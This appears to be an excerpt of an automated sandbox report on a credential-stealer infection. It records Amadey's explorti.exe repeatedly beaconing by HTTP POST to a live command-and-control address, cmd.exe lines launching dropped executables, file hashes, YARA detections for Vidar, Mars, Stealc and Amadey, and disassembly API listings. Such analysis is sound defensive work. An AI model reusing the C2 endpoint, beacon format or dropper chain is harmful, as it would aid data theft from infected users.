Jul 2, 2024 12:23:33.765042067 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:34.466942072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	55378	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:34.594887018 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:35.696222067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	55379	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:35.706666946 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:36.395394087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.7	55380	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:36.512363911 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:37.212469101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	55381	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:37.221489906 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:37.937031984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	55382	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:38.060010910 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:39.104217052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	55383	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:39.115267038 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:40.195197105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.7	55384	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:40.316827059 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:43.838782072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.7	55385	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:43.857251883 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:44.557075977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	06:20:54
Start date:	02/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x60000
File size:	2'533'376 bytes
MD5 hash:	541A32FE5AC6B171816E5A05E1ADBF5E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1379707734.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1379707734.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:21:12
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:21:12
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:21:12
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IJEGDBGDBF.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	06:21:12
Start date:	02/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	06:21:12
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe"
Imagebase:	0x950000
File size:	1'905'152 bytes
MD5 hash:	442753C1A170187760A45DAF83847861
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.1451020553.0000000000951000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.1409122508.0000000005070000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:21:18
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xeb0000
File size:	1'905'152 bytes
MD5 hash:	442753C1A170187760A45DAF83847861
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.1461422142.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.1501843736.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:21:18
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0xeb0000
File size:	1'905'152 bytes
MD5 hash:	442753C1A170187760A45DAF83847861
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.1461294563.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.3674990302.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	07:25:00
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xeb0000
File size:	1'905'152 bytes
MD5 hash:	442753C1A170187760A45DAF83847861
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.1554184729.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.1594528024.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:25:02
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1000006001\dca3d29d0f.exe"
Imagebase:	0x5f0000
File size:	2'533'376 bytes
MD5 hash:	541A32FE5AC6B171816E5A05E1ADBF5E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000017.00000002.1570820733.00000000005F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000017.00000002.1570820733.00000000005F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:26:00
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xeb0000
File size:	1'905'152 bytes
MD5 hash:	442753C1A170187760A45DAF83847861
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2159802976.0000000005680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2200078602.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	07:27:00
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xeb0000
File size:	1'905'152 bytes
MD5 hash:	442753C1A170187760A45DAF83847861
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2760825261.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2801578780.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:28:00
Start date:	02/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xeb0000
File size:	1'905'152 bytes
MD5 hash:	442753C1A170187760A45DAF83847861
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000003.3358486164.0000000005440000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.3398743541.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6CDA35A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2F688,00001000), ref: 6CDA35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CDA35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CDA35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CDA363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CDA369F
__aulldiv.LIBCMT ref: 6CDA36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CDA3773
EnterCriticalSection.KERNEL32(6CE2F688), ref: 6CDA377E
LeaveCriticalSection.KERNEL32(6CE2F688), ref: 6CDA37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CDA37C4
EnterCriticalSection.KERNEL32(6CE2F688), ref: 6CDA37CB
LeaveCriticalSection.KERNEL32(6CE2F688), ref: 6CDA3801
__aulldiv.LIBCMT ref: 6CDA3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CDA3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CDA3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CDA394C

Strings

QPC, xrefs: 6CDA38FC
GenuntelineI, xrefs: 6CDA3639
WdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiT, xrefs: 6CDA3868, 6CDA3873
GTC, xrefs: 6CDA3912
MOZ_TIMESTAMP_MODE, xrefs: 6CDA35DB
AuthcAMDenti, xrefs: 6CDA3946

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC$WdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiT
API String ID: 301339242-4280811008
Opcode ID: bc0536be8f739a62696244f45c58a1852d62be6c6626c90e72b9eb76c918dfe2
Instruction ID: f8957ae5b4255d9aa087d88d40ba0d3e49df834329d6adf1ed604d1f5314eaf2
Opcode Fuzzy Hash: bc0536be8f739a62696244f45c58a1852d62be6c6626c90e72b9eb76c918dfe2
Instruction Fuzzy Hash: AFB1B371B053209BDB08DF78C844B1AB7F6FB8A700F15892EE89AD7760D778D9058B91

Function 6CDBC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CDBC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CDBC969
GetSystemInfo.KERNEL32(?), ref: 6CDBC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CDBC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CDBC9E2

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 026041752b76b8fb00ce339cf1950e6eb90af7b8e1446d07420381d4db8f4519
Instruction ID: bafd82265a68926abcf8d9225ffbce7f81816bac59a67f740e94ca0ff1c8c9a7
Opcode Fuzzy Hash: 026041752b76b8fb00ce339cf1950e6eb90af7b8e1446d07420381d4db8f4519
Instruction Fuzzy Hash: E721FC71B41218ABEF14AB65CC84BAE7379BB86705F50051EF947B7A40EB746C0487A1

Function 6CDA3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CDA3095

Part of subcall function 6CDA35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2F688,00001000), ref: 6CDA35D5
Part of subcall function 6CDA35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CDA35E0
Part of subcall function 6CDA35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CDA35FD
Part of subcall function 6CDA35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CDA363F
Part of subcall function 6CDA35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CDA369F
Part of subcall function 6CDA35A0: __aulldiv.LIBCMT ref: 6CDA36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDA309F

Part of subcall function 6CDC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5B85
Part of subcall function 6CDC5B50: EnterCriticalSection.KERNEL32(6CE2F688,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5B90
Part of subcall function 6CDC5B50: LeaveCriticalSection.KERNEL32(6CE2F688,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5BD8
Part of subcall function 6CDC5B50: GetTickCount64.KERNEL32 ref: 6CDC5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CDA30BE

